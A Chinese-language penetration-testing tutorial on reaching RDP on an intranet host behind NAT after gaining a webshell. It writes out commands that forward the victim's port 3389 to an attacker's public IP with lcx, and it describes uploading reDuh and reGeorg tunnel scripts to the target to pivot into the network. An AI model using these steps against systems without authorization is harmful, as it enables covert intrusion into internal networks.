在渗透测试过程中,我们经常会遇到以下场景:某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网渗透测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。
了解什么是NAT机制?
网络地址转换(Network Address Translation,NAT)机制的问题在于,NAT设备自动屏蔽了非内网主机主动发起的连接,也就是说,从外网发往内网的数据包将被NAT设备丢弃,这使得位于不同NAT设备之后的主机之间无法直接交换信息。这一方面保护。
1.在同一局域网下的远程控制
在被控制的电脑上进行两步操作:
①右击我的电脑,选择属性后点击远程控制,点击允许远程控制此计算机,按win+R,输入cmd进入
dos,输入ipconfig查看本机IP,由于远程控制要求被控制电脑的账户有密码,所以如果没有设置账户密
码的话还要再dos下输入net user Administrator XXX,XXX是你的密码。
②在另一台电脑上按win+R,输入mstsc,再在弹出的页面输入被控制电脑的ip,然后再输入用户名
Administrator和你刚才设置的密码。
连接成功,测试一下发现几乎没有延迟,仿佛用的就是被控制的电脑,希望外网控制时也能这样快。
2.通信双方一台位于NAT 之后
2.1 Webshell如何开启3389服务
①通过修改注册表开启远程终端
详情参考:开启3389常用终端命令篇章
②通过webshell上传3389工具开启远程终端
2.2 如果服务器端口被修改如何查找
目前主要通过注册表读取、端口扫描、命令探针等三种方法查找修改后的端口。
2.3 如何远程连接内网电脑
2.3.1 拥有公网ip的条件下,通过lcx端口转发工具解决内网远程连接
Ⅰ、首先内网中的主机一般都是使用的私有ip,在网络出口处经过NAT转换为公网ip后,才能访问 internet。
Ⅱ、所以,有时当我们进入网站后台cmd,或者捕获了一台内网中的肉鸡,是无法主动去链接这台肉鸡的,也 不好在别人的网络出口做端口映射,这就体现lcx的作用了。
Ⅲ、lcx实现端口转发,将肉鸡A上的某个端口(常用的3389),转发到具有公网地址的主机B上,这样我们只 需要连接主机B的3389端口就相当于连接到了肉鸡A上,从而突破了内网私有ip的限制。
①获取webshell后
上传一个cmd.exe文件和lck.exe,然后setp cmd.exe设置终端路径解决运行权限问题。
②Webshell上执行
lcx.exe -slave 自己的公网ip 2222 127.0.0.1 3389 (将本机3389端口流量转发到公网ip的2222 端口上去)
③自己的电脑里面执行
lcx.exe -listen 2222 4444 (监听本地的2222端口将流量转发到4444 )
④最后通过3389连接172.0.0.1:4444即可
2.3.2 通过reDuh端口转发脚本解决内网远程连接
ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。
①将reDuh.php上传到目标服务器
②在物理机成功访问reDuh.php
③打开客户端reDuhGUI.exe,进行连接,然后就可以用3389进行连接了
3.通信双方主机均位于各自NAT设备之后reGeorg+Proxifier
有时候你路由器的ip并不是公网ip,也就是说你的路由器也是另一层局域网下的设备,这种情况下只对你的路由器进行端口映射然并卵,因为你始终拿不到最顶层路由ip。
3.1 将tunnel.nosocket.php上传至目标主机
3.2 正常访问tunnel.nosocket.php后,打开reGeorgSocksProxy.py脚本文件进行配置
reGeorgSocksProxy.py -p 9999 -u http://192.168.0.102:8080/tunnel.nosocket.php
3.3 安装Proxifier,并设置代理规则
除reGeorgSocksProxy.py外,其余都设置为通过代理